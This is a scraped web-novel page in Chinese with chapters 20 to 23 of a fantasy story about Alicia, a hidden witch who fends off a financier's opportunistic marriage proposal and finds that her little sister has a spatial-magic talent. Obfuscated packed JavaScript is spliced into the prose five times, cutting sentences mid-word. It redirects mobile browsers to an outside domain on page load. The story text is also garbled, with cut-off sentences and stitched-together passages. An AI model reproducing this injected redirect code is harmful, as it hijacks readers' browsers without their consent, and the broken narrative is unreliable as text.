艾莉西亚的父亲,戈德曼·阿斯蒙德伯爵就是一位殿堂级骑士。这个级别的骑士整个塔布拉斯王国不超过十个,虽然没有开山劈石的能力,但横扫千军不成问题。 恐怖的战斗能力也是戈德曼伯爵从一个偏远地区的流放贵族,逆袭成为枭雄的关键。 然而作为戈德曼伯爵的长子,他未来的继承人,查克的实力就实在太让人叹息了。 年过二十一的查克连续三次去首都沃华德参与初阶骑士考核,三次都失败。 这也导致了背地里出现了流言,说查克根本不是戈德曼伯爵的种。这样的流言从查克十五岁就开始了,六年来愈演愈烈,几个月前甚至有不怕死的还故意在查克面前说,被查克狠狠揍了一顿…… 想到查克的坏脾气,索兰打了个哆嗦,“我知道了。” ※ 用完早餐,侍女请艾莉西亚去花园,伯爵夫人找她。 途中遇到托马斯总管。 这位为阿斯蒙德服务多年的总管念过六十,他的父亲也是阿斯蒙德家族的总管,对这个家族的忠诚如同职位一样,是世袭的。 看到艾莉西亚,托马斯总管主动为她让路,只是目光装若无意地往艾莉西亚缠着绷带的右手一扫,姿态十分恭谨,让人挑不出错。 艾莉西亚右手手指不受控地颤了一下,已经愈合的伤口似乎在隐隐作痛。 她克制住把右手藏起来的怯懦想法,淡然地朝托马斯点点头,越过他下楼去了。 ※ 如今的伯爵夫人——塔拉雅·阿斯蒙德,是潘恩夫人去世后第三年和伯爵结婚的。 塔拉雅夫人的家族十分有钱,以至于婚前谈判持续了两年时间才谈妥。具体细节艾莉西亚不知道,但塔拉雅夫人的到来,伯爵府的变化十分明显。 以前戈德曼伯爵为了节省军费,伯爵府建得很潦草。查克和艾莉西亚的房间又小又逼仄。塔拉雅夫人还没 伯爵娶她的原因很简单,塔拉雅夫人很有钱,她的父亲更有钱。 打仗烧钱。 阿斯蒙德伯爵领位于塔布拉斯东北,与蒙戈万王国、施勒格尔王国接壤,终年处于战备状态,隔三差五要来一场,王都对战争的投入向来是给一分钱要收十分利,阿斯蒙德领的战争得不到外界的支持。 伯爵烧光了家底,借了能借的所有钱,最后只能用联姻弥补亏空。 迎娶塔拉雅夫人是比很划算的买卖,随着塔拉雅夫人和她的巨额嫁妆来到阿斯蒙德家族,伯爵手下的军队待遇明显提升了不止一个等级,通往沃华德的商路也打通了。 塔拉雅夫人是个眉眼艳丽的大美人,生的两个孩子也相当可爱。 埃米尔陪着洛丝玩骑士游戏,两人穿着定制的骑士装,两把小木剑舞得虎虎生风,看着又精神又可爱。 洛丝今年八岁,女孩子这个阶段生长发育快,个头窜得也快,只比埃米尔矮半个脑袋,两个人有来有往,玩得很开心。 塔拉雅夫人在花园搭了个阳伞,看着一双儿女,嘴角含笑。 “夫人。”艾莉西亚刚坐下,塔拉雅夫人的贴身女仆佩里端上来一份水果冰碗,用料都是来自黑森林腹地的奇珍异果,果肉饱满,鲜甜多汁,冰镇后更添舒爽。 这样的品相要是卖到沃华德,至少十个金币。 在阿斯蒙德伯爵领的中心城市,也是伯爵府所在的卡斯塔尼亚,普通的中产年收入在两百个金币上下浮动。 不过自从戈德曼伯爵将伯爵领的边界扩展到黑森林山下,这样的水果几十个童子 塔拉雅夫人瞧着艾莉西亚垂在身侧的右手,心里叹气,“你的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13805868|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没好彻底么?” 艾莉西亚 艾莉西亚轻轻摇头,接过索兰递过来的湿帕子净手,“我吃这么多就够了。” 塔拉雅夫人看她的确不想吃了,也不再说什么。 她轻摇鸵绒羽扇,看着不远处的兄妹俩,“你说,等洛丝再大一点,我送她去沃华德学习做一个骑士,如何?” 艾莉西亚一惊。 学习做一个骑士? 女骑士? 沃华德哪有教贵族女子做骑士的学院? 艾莉西亚的脑子飞快地转动着,迅速调集从沃华德报纸上收集到的信息。 阿斯蒙德位于塔布拉斯王国东北的偏远地区,但这里并不闭塞,伯爵府雇佣了专人,在沃华德收集信息。 伯爵领也有发行自己的报纸,官方的诸如《伯爵领月报》,背后金主是伯爵府,刊发出自伯爵府和伯爵府所在的城市卡斯塔尼亚市政厅的决议,此外,《月报》还发布诸如城市建设招标、大宗商品交易信息、最新审判信息、最新通缉令等等。信息比较杂,算是官方信息的发布平台。 另外就是《卡斯塔尼亚》,周刊,主要刊登一些王都流行风向、结婚丧葬告示、房屋出租信息、招聘、菜谱、厨房小妙招、连载小说、偶尔还会有一些贵族花边八卦等等,五花八门什么都有,当然,还有最不能缺席的广告。 《伯爵领月报》的前身是贴在城门口的告民书,后者是艾莉西亚弄出来的。 这个事,说来话长。 托马斯总管对艾莉西亚的态度尽管很奇怪,但到底没对艾莉西亚下死手,再加上塔拉雅夫人的照拂,自由度还挺高。 艾莉西亚幼时那段经历在她心里留下了深刻的阴影,再加上伯爵对待她和查克明显区别的态度,她很明白,自己这个女儿在伯爵心里完全没有任何地位,未来的出路,估计就是嫁出去联姻。 艾莉西亚重活一世,并不想就稀里糊涂过一辈子。她的想法很简单,她要掌控自己的人生,她不要随便来个谁都能威胁自己。 但艾莉西亚再伯爵府就是个小透明,什么决定都做不了——查克十五岁那年第一次骑士考核失利,就没那么多精力放妹妹身上了;塔拉雅夫人呢,她喜欢艾莉西亚,可她毕竟有自己的孩子。 艾莉西亚想要获得好,就必须要更了解这个世界。 艾莉西亚以好奇沃华德那边的消息的名义,请求塔拉雅夫人帮她订购报纸,塔拉雅夫人有专门的商队,多送几份报纸也不算什么,便答应下来。 订了几年报纸之后,艾莉西亚也九岁了,有了自己的小圈子,就试着小范围地办了几期,主要刊登一些贵族小姐们的随性之作,也会挑选沃华德那些报纸上一些有趣的事。 贵族小姐大多空闲,虽然只有四五个人,也办得似模似样,开始时小姐们自己拿钱,免费往伯爵领各个贵族家里免费送,后来会象征性地收一点油墨费,渐渐地,竟然也办得有声有色。 随着影响力扩大,小姐们的兄弟也参与进来,后面人太多,管理混乱,艾莉西亚就顺势退了出来。 因为有这个案例,艾莉西亚顺利地从塔拉雅夫人拿到了投资,正式办起了《卡斯塔尼亚》。 最开始的一年都不赚钱,赔了不少,后来慢慢地能做到收支平衡,这两年开始真正赚钱了,不过也不多,一年一两百金币,不多,但也差不多是一个城市中产家庭大半年收入了。 《伯爵领月报》差不多和《卡斯塔尼亚》一起起来的,不过伯爵领月报和艾莉西亚这种小打小闹不一样,它由伯爵领的执政官和塔拉雅夫人二人亲自操刀,一人主理政务,一人管理经济相关。 伯爵领的财务官对此颇有微词,戈德曼伯爵也觉得女人不应该插手政事,但伯爵领的经济支柱是塔拉雅夫人的父亲带起来的,办《伯爵领月报》也是塔拉雅夫人的主意,甚至报纸能顺利发行,也有赖于塔拉雅夫人的运作。 伯爵象征性地反对了几句,塔拉雅夫人不听,就没再说什么了。 塔拉雅夫人私底下和艾莉西亚吐槽,“捏住男人的钱就像扼住了他的咽喉,真可惜啊,你没看到他那时的样子,表情可太精彩了。” 对此,艾莉西亚就只是笑。 20. 女巫的职业危机20 迪亚斯夫人是一位颇有名望的女士,她出身算得上不错,是一位牧师的女儿,然而生不逢时,她本应该也嫁给另一位牧师,让丈夫继承父亲的教区,然而她的未来因为太过强势的阿斯蒙德伯爵出现了波折。 在阿斯蒙德伯爵的强势干预下,迪亚斯夫人的父亲失去了他的信徒、失去了他的教区。 迪亚斯夫人的未婚夫畏惧阿斯蒙德伯爵的权威,他改变了自己的信仰,和迪亚斯夫人退婚。 这听起来似乎有些可悲,但迪亚斯夫人却因为家道中落,有了机会靠自己的能力养活自己。她从家庭教师、贸易公司的秘书,然后跳槽去咖啡厅做女管事、再成为女经理,到最后拥有自己的咖啡厅,最近还新开了一间画廊,总共只用了十多年时间。 这是一位富有智慧的女士,小安托瓦拜托她来举办晚会,算得上用心了。 艾莉西亚在父母的陪同下来到迪亚斯夫人的宅邸,这座房子与切斯特家只隔了一条街,艾莉西亚在父母的陪同下来到迪亚斯夫人家。 一起去的还有罗斯,贝斯本想让家庭教师在家照顾她,但艾莉西亚觉得迪亚斯夫人家的小女儿和罗斯差不多大,去玩玩也没关系。贝斯这才松口。 迪亚斯夫人热情地迎接了一家四口,她挨个和切斯特拥抱,轮到艾莉西亚的时候,她狡黠地朝艾莉西亚眨眼,在艾莉西亚耳边低声说,“那是个漂亮的、充满诚意的小伙子,不是吗?” 艾莉西亚只能尴尬地笑。 迪亚斯夫人便知道艾莉西亚的意思了,她轻拍艾莉西亚的背,“放轻松,亲爱的,你是如此优秀,你会有很多的追求者,学会享受它,而不是让它成为自己的负担。” 艾莉西亚惊讶地看着迪亚斯夫人,心说难怪这位女士能靠自己的能力完成阶级跃升,这样的心态就很难得。 “我明白了,迪亚斯夫人。” 今天的聚会只有切斯特一家、迪亚斯夫人一家以及小安托瓦。 小安托瓦早早就到了,他脸上带着一丝矜持的微笑,坐在布置精美的餐桌旁,和迪亚斯夫人的大儿子迈耶斯·迪亚斯说话。 明亮的烛光下,小安托瓦的面容俊美而精致,艾莉西亚已经知道他内在是个什么东西,也很难承认这副皮囊对自己没有吸引力。 看到艾莉西亚,小安托瓦立刻站起来,为艾莉西亚拉开椅子,他的行动虽然绅士,但意图十分明显。 大家相互传递着心照不宣的眼神,看着艾莉西亚和小安托瓦的目光带着点善意的揶揄。 艾莉西亚在小安托瓦身边坐下的时候,咬牙低声警告,“别搞事,小安托瓦先生,我不想当着父母的面揍你一顿。” 小安托早就知道艾莉西亚不是一个好说服的人,对她的反应已经有了心里预期,因而并不觉得被威胁了,反而像只开屏的空缺一样对她展露迷人的笑容,他用同样低不可闻的声音说,“亲爱的,给我一个追求你的机会,你不知道,几年前你来我的公司寻求一个职位的时候,我就已经动心。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13820342|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这话一听就知道他在放屁。 艾莉西亚和他认识了快四年时间,频繁接触的时间也有三年,这短时间艾莉西亚从没有从他嗜钱如命的眼里发现一丝暧昧,而现在,在她拒绝给这个家伙手/弩购买者名单之后,他竟然跑出来说早就动心了,可笑! 这个世界还有什么比小安托瓦的脸皮更厚的存在吗? 然而谁让小安托瓦有钱呢。 不论是艾莉西亚,还是切斯特夫妻,他们应邀而来的目的虽然不一样,但都看上了小安托瓦雄厚的资本。 艾莉西亚不得不忍耐小安托瓦时不时看过来的、温柔得要命的眼神,那感觉简直像一条毒蛇从她的皮肤表面游弋而过。 艾莉西亚不知道小安托瓦到底抱着怎样的目的,她告诉自己要沉住气,等小安托瓦自己暴露。 就这样,这顿饭在小安托瓦诡异的眼神中终于吃完了。艾莉西亚感觉自己的胃遭到了暴力对她,迪亚斯夫人家的菜肴十分美味,但她吃紧嘴里都一样。 餐后迪亚斯夫人请来了一个小型乐队,大家在舞厅里听乐队表演。一位女歌手唱着柔和欢快的乡间小调,小安托瓦站在艾莉西亚身边,两人被其他人刻意隔出一个空间。 艾莉西亚听着歌,无意识地轻哼起来,小安托瓦端着一杯酒,眸光时不时扫过艾莉西亚恬静柔美的侧脸,心里斟酌着如何开口。 很显然,艾莉西亚对他充满了戒备。这很让人无奈,却又让小安托瓦觉得很有意思。 21. 女巫的职业危机21 正当艾莉西亚沉浸于女歌手美妙的音乐中时,小安托瓦说,“切斯特小姐,我应该向你坦诚一件事。” 艾莉西亚的注意力一下被他拉了回来,她狐疑地看着小安托瓦,轻轻抿一口杯中的红酒,心想来了来了,小安托瓦这家伙要开始作妖了。 “哦?什么事?您知道,我很难想象永远高高在上的小安托瓦先生,会有低头的一天。”艾莉西亚说,语调轻而缓,却带着慢慢的嘲讽。 小安托瓦说,“不投资内燃机的确是我的失误,但我并没有想过撤出投资,我最初的打算是希望我们采取更合适的模式合作,比如我可以寻找其他的投资人分担投资风险,这样,你完全可以不用举债建造工坊,不是吗?” 艾莉西亚就知道这家伙所谓的坦诚多半不是真心的,但被他这样兜头一顿输出,这很莫名其妙好吗。 她开始觉得小安托瓦是不是也是被家里逼婚,才找到有着相似处境、并且家中面临困境的自己。 艾莉西亚皮笑肉不笑地说,“是吗?” “你在质疑我的投资眼光吗?”小安托瓦露出略带嘲讽的微笑,“切斯特小姐,你从我这里拿走第一章500费尔的支票时,难道觉得自己赚不回这笔钱?” 艾莉西亚一阵无语。 这又成了自己的错了。 但这样的小安托瓦让她感觉到熟悉,仍然是那个味道,高高在上的、自以为是的傲慢家伙。 气氛在两人之间沉默起来。 小安托瓦啜饮一口酒,觉得铺垫得差不多了,他的目的可不是为了奚落艾莉西亚才花钱请迪亚斯夫人举办这场聚会。 “切斯特小姐,我想你心里很清楚切斯特家面临着什么样的处境。蒸汽列车即将落成,而运河公司是那无法回转的落日余晖,你们没有翻盘的机会了。如果你愿意堵上工坊和内燃机,或许你还能挣扎一段时间,但你甘心吗?不惜与我决裂也要坚持研发的产品,就这样被切斯特先生的莽撞担保而功亏一篑。” “不甘心,”艾莉西亚如实回答,接着话锋一转,“但这也没什么,我并不是第一次白手起家,我能在什么都没有的情况下找到您——小安托瓦先生这样眼光超群的投资人,那么我还能找到第二个、第三个这样的投资人。我能通过改良零件生产线拿到你的投资,能靠研发内燃机撑起工坊、赚取超额利润,那么我还会有其他的发明创造,重新崛起。” 艾莉西亚用食指抵住自己的太阳穴,轻轻敲了一下,“小安托瓦先生,你知道于我而言最珍贵的是什么吗?是我,我这个人,我富有想象力和创造力的大脑,只要我还活着,我就永远不愁没有好的项目和财富。” 真是耀眼到刺目的生命力啊。 小安托瓦像是被艾莉西亚刺痛一般,他下意识避开艾莉西亚的目光,垂下眼,小安托瓦说,“也许你可以不必这样堵上你的所有,运河公司的亏死已经不可逆转,但这并不意味着切斯特小姐你一定会一起沉沦。” 这就放弃了? 艾莉西亚捏紧了手上的酒杯,她对小安托瓦的信任接近于无,这家伙总是会把自己的真是目的隐藏于重重迷雾之下,想要真正弄懂他的意思,只有等他自己露出马脚,而一旦她急于窥探,就很容易落入他挖好的坑里面。 “小安托瓦先生似乎有不一样的间接。”艾莉西亚敷衍地和他应答,眼神已经飘到了乐队中那个瘦削而英俊的大提琴师身上。 那可真是一位迷人的乐手,他浅蓝的眸子像氤氲着雾气,带着一种雨后潮湿般的忧郁气质,像极了怀才不遇的浪漫诗人。 小安托瓦敏锐地发现了艾莉西亚的心不在焉,他顺着艾莉西亚的目光看去,一眼就发现了那个大提琴师,对方当然注意到了艾莉西亚在自己投注的目光,他并不回应,但嘴角带着一丝若有似无得笑意。 小安托瓦心底升起一丝不悦。 他抿了抿唇,说,“切斯特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13839295|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小姐,或许我们应该去花园详谈,这里过于嘈杂,并不适合我们的谈话。” 艾莉西亚听出了他语气的一丝不耐烦,但她没有立即给出回应,而是用奇怪的眼神看了他一眼,“如果你真这么有诚意,根本不需要把我的父母牵扯进来。” 小安托瓦心里一哽,很显然,艾莉西亚是很有底气的,她并没有因为即将会背负的巨额债款而打乱自己的节奏,甚至今晚出席这场聚会,也是因为父母的坚持,她甚至把妹妹也带过来玩。 她比小安托瓦预想中更沉得住气。 小安托瓦烦躁地扯了扯领结,但没什么用,他目不转睛地盯住艾莉西亚,“那么,切斯特小姐,你就没有想过,我是真心想得到你的许可,成为你的丈夫啊?” “哈!”艾莉西亚差点不顾礼仪笑出来,她憋着笑,忍不住瞥了小安托瓦,罕见地从他身上看到了挫败感,“如果您没有一位出身贵族旁系的富翁父亲,小安托瓦先生,或许您能成为有名的滑稽戏演员,真的,您偶尔幽默起来,太出乎意料了。” 艾莉西亚能信他就怪了。 这家伙如果真对她有意思,还会等到现在? 不,等等,如果这就是小安托瓦的真实目的呢? 艾莉西亚是故意表现得对那个英俊的大提琴师另眼相看的,他觉得像小安托瓦这种家伙,一定不希望投注在自己身上的注意力被人抢走,特别是竞争者还是一个看起来十分不错的家伙。 假如小安托瓦的确是想要婚约的,那么他想从这份婚姻中得到什么? 最近这段时间,小安托瓦一直在向埃诺里献殷勤,埃诺里代表着黑塔,代表着女巫,而埃诺里比小安托瓦还傲慢,心眼比他小的多,多半是看不上他的,那么,在这个时候,小安托瓦突然停止了对埃诺里献媚,转而将注意力放到自己身上…… 艾莉西亚再度啜饮一口美酒压惊,这家伙,是不是从什么地方知道了她是女巫的事? 22. 女巫的职业危机22 小安托瓦低下头,凑近艾莉西亚,他贴着艾莉西亚的耳边说,“你今天在家里见到了银行的约纳·卡西尼了吧?他是银行新上任的、负责贷款的主管,切斯特,如果我没猜错,卡西尼今天上门是来催你父亲履行担保义务的,你尽管在我面前装傻,但你没发现了,你的父亲切斯特先生快要被担保压垮了。” 艾莉西亚微微挑眉,情绪很平稳,看起来并没有因为小安托瓦的话而困扰。 “小安托瓦先生,你好像不太能听进去别人的话。” 小安托瓦冷冷一笑,“你宁愿把我踢出局,都不肯放弃内燃机,难道会因为你父亲的债务而放弃辛苦研发出来的内燃机专利?切斯特,你不是那样的人。” 艾莉西亚无所谓地耸肩,“我说了,投资人那么多,不是只有你有鉴别珍珠的能力。” “但我是你最好的选择,”小安托瓦骄傲地说,“没人会给你提供更好的条件。” “代价呢?”艾莉西亚目不转睛地盯着他。 迎上艾莉西亚黑曜石一样的眸子,小安托瓦突然卡壳了。 小安托瓦并没有打算告知艾莉西亚的真实目的,但艾莉西亚不是那么容易被骗的人,而他也不是能够靠着隐藏关键信息就能获益的时候。 时间像是过了很久,又仿佛只是一瞬间。 小安托瓦,“半个月前,勋业庄园的大火,是你放的吧,女巫。” …… 聚会结束,小安托瓦想让马车送切斯特一家回去,但被切斯特夫妻拒绝了。 小安托瓦坚持要送一家人回家,切斯特夫妻没什么意见,艾莉西亚要在父母面前装乖,没能拒绝掉。 艾莉西亚想把罗德拉到身边,但小姑娘被贝斯牵着,看得出来,贝斯夫妻对小安托瓦的表现十分满意,他们有意要撮合两个年轻人。 和父母隔了一段距离,艾莉西亚仍然压低了声音,“你这样有意思吗?我可不是什么女巫,你找错人了。” “你不承认也没关系,答应我的求婚,如何?” 艾莉西亚,“滚!” 昏黄等黄下,看着气急败坏的艾莉西亚,小安托瓦今晚总算扳回一局。 他嘴角噙着笑意,表情矜贵自持,说话却傲慢得让人讨厌,“你看起来很着急,切斯特,我说过,只有我才能真正帮到你。你明白吗?我还能把切斯特先生那位朋友找回来,这样你一个分钱都不用出。” 艾莉西亚烦死了这个家伙,但他这话让艾莉西亚想到了别的,“他那个朋友是你藏起来了?” 艾莉西亚眯起眼,眼里闪烁着危险的光芒。 小安托瓦却很放松,“那你就太高看我了,不过,亲爱的,比起那个,我成为你的债主或许是个不错的主意。” 艾莉西亚冷笑,“成了我们家的债主你也别想像奴隶主那样奴役我。” “当然,当然,谁会敢奴役一个女巫呢?除非他想要回到光明神的怀抱。” 艾莉西亚不再和他废话。 她就知道,小安托瓦这家伙从来不知道什么叫做坦白,他这个人能骗就骗,不能偏就威胁利用——总之,他为了达到目的会不择手段。 艾莉西亚厌烦和这种人周旋,如果不是为了不增加皮尔的压力,她早在小安托瓦说出她女巫的身份时就翻脸了。 她突然提高了声音,“小安托瓦先生,再见。” 小安托瓦意味深长地看艾莉西亚一样,迎上切斯特夫妻的目光,好脾气地说,“切斯特先生,切斯特太太,我还有事需要处理,就先告辞了。” 皮尔用不赞同的眼神看了一眼艾莉西亚,但他没有在外人面前给艾莉西亚难堪,而是说,“行。你有事先去忙吧,有时间可以约艾莉西亚出去走走。” 得到了皮尔的许可,小安托瓦并没有露出得意的表情,他向切斯特一家道别,坐上一直跟着几人的马车离开。 目送小安托瓦的马车院去,皮尔沉着脸,“回家。” 贝斯挽着艾莉西亚的手,轻拍安抚着,“我们回家再说吧。” 罗德打了个哈欠,小脑袋左右转动,似模似样地叹一口气,“那家伙真不是个好人,艾莉不要嫁给他。” 贝斯听得想笑,“你又知道了?还是个小不点呢。” 罗德不高兴地说,“我马上九岁了,”她伸出两只手,将大拇指藏起来一根,拿到贝斯面前晃悠, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13854637|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “妈妈你知道九岁是什么意思吗?我长大了。” “是哦,九岁还会偷吃糖果的小不点。” “艾莉西亚!”罗德稚嫩活泼的声音让空寂的街道都变得不那么冷清了。 艾莉西亚的心情好了一些。 今天去参加迪亚斯夫人的聚会就是个错误,她就不该抱有侥幸,觉得可以从小安托瓦那里捞一笔钱,小安托瓦的钱是那么好拿的吗? …… 回到家,艾莉西亚被皮尔叫到书房,皮尔从桌子抽屉里拿出一只雪茄,想抽,又放下。 “你怎么想的?” 艾莉西亚在皮尔对面坐着,“爸爸,他不合适。” “他不合适,谁合适呢?”皮尔尽量压抑着心底的烦躁,“艾莉,我和小安托瓦聊过,他是个不错的年轻人,他的父亲几年前就将家里的生意放手给他,你看他做的如何?更难得的事,小安托瓦他喜欢你。一个男人喜欢一个女人,喜欢到他愿意帮你的家庭解决大笔债务,我想不出这样的喜欢还有什么不合适的。” 艾莉西亚一点都觉得这是个好主意,“爸爸,给我一点时间,我自己也能解决家里的债务。” 皮尔是个好父亲,他为了艾莉西亚付出良多,但他同样有着这个时代的局限。 他固执地认为女人必须要依附一个男人才能在这座城市站稳脚跟,以前他经营酿酒厂,收入不错,他愿意在自己的能力范围内纵容艾莉西亚,而一旦他失去了庇护妻女的能力,他就会不予余力地给艾莉西亚找到一个新的“庇护者”。 艾莉西亚不止一次试图和皮尔沟通这件事,她还想带着皮尔去参观自己的零件厂、工坊,但皮尔不愿意去,或许他早就去了,正因为他看到了艾莉西亚一手创造的财富,才会更加担心。 他会觉得艾莉西亚像是一个无主的宝藏,只要是看上她的财富的人都可以动手去抢。皮尔或许会觉得艾莉西亚很有能力,但这样的能力并不足以支持她持有这样的财富。 曾经,这片大陆盛行猎杀女巫。 那些被送上绞刑架、火刑架的女人难道都是真的女巫吗?不,她们当中很大一部分,都是拥有大量财富的单身女性。 23. 女巫的职业危机23 艾莉西亚和皮尔谁也说服不了谁,两人不欢而散。 贝斯哄睡了罗德,她让艾莉西亚去休息,她劝劝皮尔。 对贝斯来说,丈夫和女儿的想法各有各的好处,她心里更支持女儿一点,特别是阿斯蒙德伯爵领的女继承人芙蕾·阿斯蒙德正位之后,领地的风气已经有了很大的变化。 在贝斯看来,艾莉西亚能力够,手腕也不差,还有特蕾娅相互扶持一起奋斗,想要努力走出一条自己的路也挺好的。 原本有切斯特家的酿酒厂在,艾莉西亚没有后顾之忧,可以随心意闯荡,这是贝斯和皮尔都默许的。 但皮尔朋友的这件事让皮尔变得像只惊弓之鸟,他承担着巨大的压力,不敢轻易冒险。 这让贝斯对丈夫生出了不满。 贝斯是很传统的女性,她顺从,沉默,不多话,是家庭的润滑剂,这几天一直是她直面皮尔的负面情绪,是挡在女儿与丈夫之间的安全墙,她不是不累,但她想为女儿荡撑起来。 如果小安托瓦是个合适的结婚对象,艾莉西亚自己也愿意,那么贝斯不会多说什么;但艾莉西亚既然抗拒小安托瓦,贝斯也不会放任丈夫逼迫女儿。 她并不想自己经历过的、折翅于高飞前夜的痛苦,女儿还要经历一遍。 深吸一口气,贝斯打起精神,走进书房。 艾莉西亚看着关闭的书房门,心里沉甸甸的。 经历过和小安托瓦的事之后,她现在已经放弃所有幻想,比起拿婚姻当筹码,把专利卖个好价钱要更靠谱一点。 艾莉西亚心不在焉地回自己的房间走,突然,她听到了一丝异动,是从储存食物的房间传出来的。 有老鼠? 多亏了教会在,这时代并没有大面积爆发鼠疫之类的流行病,但普通人的生活还是会被这些恼人的生物困扰。 艾莉西亚家所在的街区算不错了,每天都有清运马车来收拾居民们产生的生活垃圾,每家每户需要支付清洁公司一定的费用,就能享受到干净便利的生活,公共区域也会有人打扫。 但下水道的卫生状况就没有地面那样好了,因而时长会有蛇虫鼠蚁从下水道钻出来,跑到居民家中。 艾莉西亚放轻脚步,敏捷地靠近那个房间,今天被小安托瓦和皮尔两个人气得不轻,有老鼠送上门给她撒撒气也是好的。 储存食物的房间门开了一条缝儿,里面黑魆魆的,窸窸窣窣的声音越发清晰,艾莉西亚把门推开一点,一声警惕而稚嫩的声音传了出来:“谁在那里?” 啊,是罗德那个小家伙。 她不是被贝斯哄睡了吗?她肯定又装睡骗人。 艾莉西亚板着脸训斥,“罗德!你又跑出来偷吃!你的牙齿要不要了?你想当个没有牙齿的小老太太吗?” 罗德吓得一抖,手里的糖稀里哗啦掉地上,“艾莉西亚——” 艾莉西亚冲进去,捏着这家伙的衣领把人提溜出来,没了罗德的遮挡,艾莉西亚才看到被罗德挡住的、上好锁的糖柜子。 以艾莉西亚的目力,她能清楚的辨别出那把锁仍是完好的,没有损坏的痕迹。 她看看罗德,再看看地上的糖果,脑子“嗡”地一下,好一会儿都没回过神。 糖是怎么跑到罗德手里的? 艾莉西亚很容易就得出了结论。 她按捺住澎湃的情绪,尽量让自己的声音听起来不那么激动,免得吓坏了妹妹,“罗德,告诉我,你怎么拿到这些糖果的?” 罗德一开始很害怕,因为她以前糖吃多了牙痛,贝斯就把她盯得很紧,被抓到偷吃就免不了一顿揍。罗德以为今天也会这样,但艾莉西亚的语气一软,她立刻嗅到了转机。 罗德转了转眼珠子,“就那么拿出来的。” 艾莉西亚,“那你再拿出一次好不好?这个柜子明明是锁起来的,你怎么办到的?” 罗德提条件,“你不能告诉妈妈。” 艾莉西亚,“当然,这是我们的小秘密。” 罗德,“我拿出来的糖我带走,我和狄安娜说好了,明天要分给她。” 狄安娜是米亚的女儿,这个小姑娘遗传了米亚的高个子,虽然比罗德高大半个头,但她年纪比罗德小一些,也更单纯一点。 艾莉西亚一直觉得罗德这家伙在学校里称王称霸,少不了狄安娜的帮忙。 艾莉西亚微笑,“没问题。不过狄安娜的妈妈也在控制她吃糖,你不能给她太多,否则,米亚阿姨来找你,我也没办法。你知道的,她那么高那么壮,比爸爸还厉害。” 罗德用不屑的眼神看一眼艾莉西亚,“那当然啦,狄安娜说米亚阿姨打人可通了。” 艾莉西亚手痒了,但还是扯出一抹假笑,“那么,罗德,让我来见证你创造的奇迹吧。” 罗德被吹捧得飘飘然,她走到锁起来的糖柜子边,眼睛盯着玻璃门后面那个装糖的管子,两只小爪子掬起来,捧着一团空气。 她口中念念有词,“出来吧,我的小宝贝们。” 眨眼的功夫,两颗包裹着漂亮糖纸的糖果落到了罗德的胖爪子里。 果然是空间天赋! 艾莉西亚难以抑制激动的心情,这可是自行觉醒的空间天赋啊! 做了这么久的流浪-女巫,艾莉西亚见过的女巫也不少了,还从没听说谁一开始就能觉醒这个能力。 一般而言,女巫是可以通过后天的学习,获得一定空间魔法能力的。 但这样的能力视情况而定,厉害的可以在两个不同的空间搭建通道,比如那个建造了地下魔法交易市场的女巫,艾莉西亚推测她就是把不知道建在哪里的、地下空间的出口,由魔法阵的形式放在卡斯塔尼亚;能力不行的,像罗德做起来这样轻松的隔空取物都办不到。 很不幸,艾莉西亚就是后者。 这也是为什么司佩对艾莉西亚关闭了交易市场后,艾莉西亚直接傻眼了。 司佩正是知道这一点,才会选择用这个报复她。 艾莉西亚身上有两层debuff,一是她的空间魔法能力确实菜;二则是司佩施加在她身上的驱逐魔阵,二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 